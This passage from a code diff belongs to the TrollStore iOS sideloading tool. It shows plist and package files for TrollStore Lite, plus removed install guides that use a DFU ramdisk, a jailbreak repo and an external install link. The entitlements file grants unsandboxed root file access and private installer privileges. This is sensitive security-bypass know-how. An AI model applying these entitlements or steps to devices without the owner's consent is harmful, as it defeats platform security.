|
||||
<integer>1</integer>
|
||||
<integer>2</integer>
|
||||
</array>
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
<key>UILaunchStoryboardName</key>
|
||||
<string>LaunchScreen</string>
|
||||
<key>UISupportedInterfaceOrientations</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||
</array>
|
||||
<key>UISupportedInterfaceOrientations~ipad</key>
|
||||
<array>
|
||||
<string>UIInterfaceOrientationPortrait</string>
|
||||
<string>UIInterfaceOrientationPortraitUpsideDown</string>
|
||||
<string>UIInterfaceOrientationLandscapeLeft</string>
|
||||
<string>UIInterfaceOrientationLandscapeRight</string>
|
||||
</array>
|
||||
<key>UIApplicationSceneManifest</key>
|
||||
<dict>
|
||||
<key>UIApplicationSupportsMultipleScenes</key>
|
||||
<false/>
|
||||
<key>UISceneConfigurations</key>
|
||||
<dict>
|
||||
<key>UIWindowSceneSessionRoleApplication</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UISceneConfigurationName</key>
|
||||
<string>Default Configuration</string>
|
||||
<key>UISceneDelegateClassName</key>
|
||||
<string>TSSceneDelegate</string>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>UTImportedTypeDeclarations</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>public.data</string>
|
||||
</array>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>iOS App</string>
|
||||
<key>UTTypeIconFiles</key>
|
||||
<array/>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<array>
|
||||
<string>ipa</string>
|
||||
</array>
|
||||
<key>public.mime-type</key>
|
||||
<array/>
|
||||
</dict>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleDocumentTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleTypeName</key>
|
||||
<string>iOS App</string>
|
||||
<key>LSHandlerRank</key>
|
||||
<string>Default</string>
|
||||
<key>LSItemContentTypes</key>
|
||||
<array>
|
||||
<string>com.apple.itunes.ipa</string>
|
||||
</array>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>CFBundleTypeName</key>
|
||||
<string>AirDrop friendly iOS app</string>
|
||||
<key>CFBundleTypeRole</key>
|
||||
<string>Viewer</string>
|
||||
<key>LSHandlerRank</key>
|
||||
<string>Owner</string>
|
||||
<key>LSItemContentTypes</key>
|
||||
<array>
|
||||
<string>com.opa334.trollstore.tipa</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>UTExportedTypeDeclarations</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UTTypeIdentifier</key>
|
||||
<string>com.opa334.trollstore.tipa</string>
|
||||
<key>UTTypeDescription</key>
|
||||
<string>AirDrop friendly iOS app</string>
|
||||
<key>UTTypeConformsTo</key>
|
||||
<array>
|
||||
<string>public.data</string>
|
||||
</array>
|
||||
<key>UTTypeTagSpecification</key>
|
||||
<dict>
|
||||
<key>public.filename-extension</key>
|
||||
<array>
|
||||
<string>tipa</string>
|
||||
</array>
|
||||
<key>public.mime-type</key>
|
||||
<string>application/trollstore-ipa</string>
|
||||
</dict>
|
||||
</dict>
|
||||
</array>
|
||||
<key>CFBundleURLTypes</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>CFBundleURLName</key>
|
||||
<string>com.apple.Magnifier</string>
|
||||
<key>CFBundleURLSchemes</key>
|
||||
<array>
|
||||
<string>apple-magnifier</string>
|
||||
</array>
|
||||
</dict>
|
||||
</array>
|
||||
<key>LSSupportsOpeningDocumentsInPlace</key>
|
||||
<false/>
|
||||
<key>TSRootBinaries</key>
|
||||
<array>
|
||||
<string>trollstorehelper</string>
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
9
TrollStoreLite/control
Normal file
@ -0,0 +1,9 @@
|
||||
Package: com.opa334.trollstorelite
|
||||
Name: TrollStore Lite
|
||||
Version: 2.1
|
||||
Architecture: iphoneos-arm
|
||||
Description: TrollStore for jailbroken iOS
|
||||
Depends: ldid
|
||||
Maintainer: opa334
|
||||
Author: opa334
|
||||
Section: Applications
|
45
TrollStoreLite/entitlements.plist
Normal file
@ -0,0 +1,45 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>application-identifier</key>
|
||||
<string>com.opa334.TrollStore</string>
|
||||
<key>platform-application</key>
|
||||
<true/>
|
||||
<key>com.apple.security.exception.files.absolute-path.read-write</key>
|
||||
<array>
|
||||
<string>/</string>
|
||||
</array>
|
||||
<key>com.apple.security.exception.iokit-user-client-class</key>
|
||||
<array>
|
||||
<string>AGXDeviceUserClient</string>
|
||||
<string>IOSurfaceRootUserClient</string>
|
||||
</array>
|
||||
<key>com.apple.private.security.no-sandbox</key>
|
||||
<true/>
|
||||
<key>com.apple.private.persona-mgmt</key>
|
||||
<true/>
|
||||
<key>com.apple.private.security.container-manager</key>
|
||||
<true/>
|
||||
<key>com.apple.private.coreservices.canmaplsdatabase</key>
|
||||
<true/>
|
||||
<key>com.apple.lsapplicationworkspace.rebuildappdatabases</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileContainerManager.allowed</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled</key>
|
||||
<true/>
|
||||
<key>com.apple.private.MobileInstallationHelperService.allowed</key>
|
||||
<true/>
|
||||
<key>com.apple.private.uninstall.deletion</key>
|
||||
<true/>
|
||||
<key>com.apple.private.security.storage.MobileDocuments</key>
|
||||
<true/>
|
||||
<key>com.apple.CommCenter.fine-grained</key>
|
||||
<array>
|
||||
<string>data-allowed-write</string>
|
||||
</array>
|
||||
<key>com.apple.springboard.opensensitiveurl</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
@ -1,29 +0,0 @@
|
||||
# SSH Ramdisk
|
||||
|
||||
**Supported Devices:** All checkm8 / arm64 devices
|
||||
|
||||
**Supported Versions:** iOS 14.0 - 15.5b4, 15.6b1 - 15.6b5
|
||||
|
||||
**Additional requirements:** Linux / macOS Computer
|
||||
|
||||
## Guide
|
||||
|
||||
Video tutorial: https://youtu.be/B0MueVvJSK4
|
||||
|
||||
1. Run `git clone https://github.com/verygenericname/SSHRD_Script --recursive && cd SSHRD_Script`
|
||||
|
||||
2. Run `./sshrd.sh <iOS version for ramdisk> TrollStore <uninstallable system app>`
|
||||
- Make sure to **not** include the `<>`
|
||||
- The uninstallable system app should be an app you don't need to use (e.g. Tips)
|
||||
- i.e. `./sshrd.sh 15.0 TrollStore Tips`
|
||||
|
||||
3. Put your device into DFU mode. Instructions for this can be found [here](https://www.theiphonewiki.com/wiki/DFU_Mode#iPhone.2C_iPad.2C_iPod_touch).
|
||||
- If you are on an A11 device, enter recovery mode first by pressing and quickly releasing the volume up and volume down button, one at a time. Then, press and hold the side button until you see the recovery mode screen. Finally, put your device into DFU mode as said above.
|
||||
|
||||
4. Run `./sshrd.sh boot` the device should start verbosing and show a TrollFace in ascii, then reboot eventually
|
||||
|
||||
5. Open up the app you replaced (Tips in this example), it should be TrollStore Helper now.
|
||||
|
||||
6. Make sure you're connected to the internet, and press "Install TrollStore."
|
||||
|
||||
7. Done, your device will respring and TrollStore should appear on your home screen.
|
@ -1,31 +0,0 @@
|
||||
# TrollHelper
|
||||
|
||||
**Supported Devices:** All jailbroken devices
|
||||
|
||||
**Supported Versions:** iOS 14.0 - 15.5b4, 15.6b1 - 15.6b5
|
||||
|
||||
## Guide
|
||||
|
||||
1. Open your package manager, and make sure [Havoc repo](https://havoc.app) is added under Sources, then search for "TrollStore Helper" and install it.
|
||||
|
||||
2. After the installation, respring and the "TrollHelper" app should have appeared on your home screen.
|
||||
|
||||
3. Launch the app, tap "Install TrollStore"
|
||||
|
||||
4. Wait a few seconds, your device should respring and TrollStore will be installed.
|
||||
|
||||
5. Open the TrollStore app and press "Install ldid" in the Settings tab, then read the information under "Persistence", the TrollHelper app on the home screen will be your persistence helper.
|
||||
|
||||
6. Done, you can now share IPA files with TrollStore and they will be permanently installed on your device.
|
||||
|
||||
## Unjailbreaking while retaining TrollStore
|
||||
|
||||
Some people might prefer to use TrollStore in an unjailbroken environment, if that applies to you, follow this guide.
|
||||
|
||||
1. Uninstall TrollHelper from your package manager
|
||||
|
||||
2. Now when you launch TrollStore, it will have an option to install the persistence helper into a System app like on iOS 15, do so.
|
||||
|
||||
3. Now restore rootFS through your jailbreak app, afterwards use the System app to refresh app registrations.
|
||||
|
||||
4. Done, your device will be jailed, but TrollStore will still work.
|
@ -1,25 +0,0 @@
|
||||
# TrollHelperOTA (arm64e)
|
||||
|
||||
**Supported Devices:** All arm64e (A12 - A15) devices
|
||||
|
||||
**Supported Versions:** iOS 14.0 - 15.5b4, 15.6b1 - 15.6b5
|
||||
|
||||
## Guide
|
||||
|
||||
1. On your device, go to the following link: https://api.jailbreaks.app/troll64e
|
||||
|
||||
2. An alert should appear, tap "Install"
|
||||
|
||||
3. When the installation is finished, you will find a "GTA Car Tracker" application on your device.
|
||||
|
||||
4. If this app has not appeared, that's a stock iOS bug, reboot your device and the app will appear.
|
||||
|
||||
5. Launch the app, tap "Install TrollStore"
|
||||
|
||||
6. Wait a few seconds, your device should respring and TrollStore will be installed.
|
||||
|
||||
7. You can now either delete the "GTA Car Tracker" app, or register it as the persistence helper by opening it and tapping the option at the bottom. If you do this, don't delete the app.
|
||||
|
||||
8. Open the TrollStore app and press "Install ldid" in the Settings tab, then read the information under "Persistence", and install the Persistence Helper into a system app if you want persistence (not needed if you registered the GTA Car Tracker app as the persistence helper in step 7).
|
||||
|
||||
9. Done, you can now share IPA files with TrollStore and they will be permanently installed on your device.
|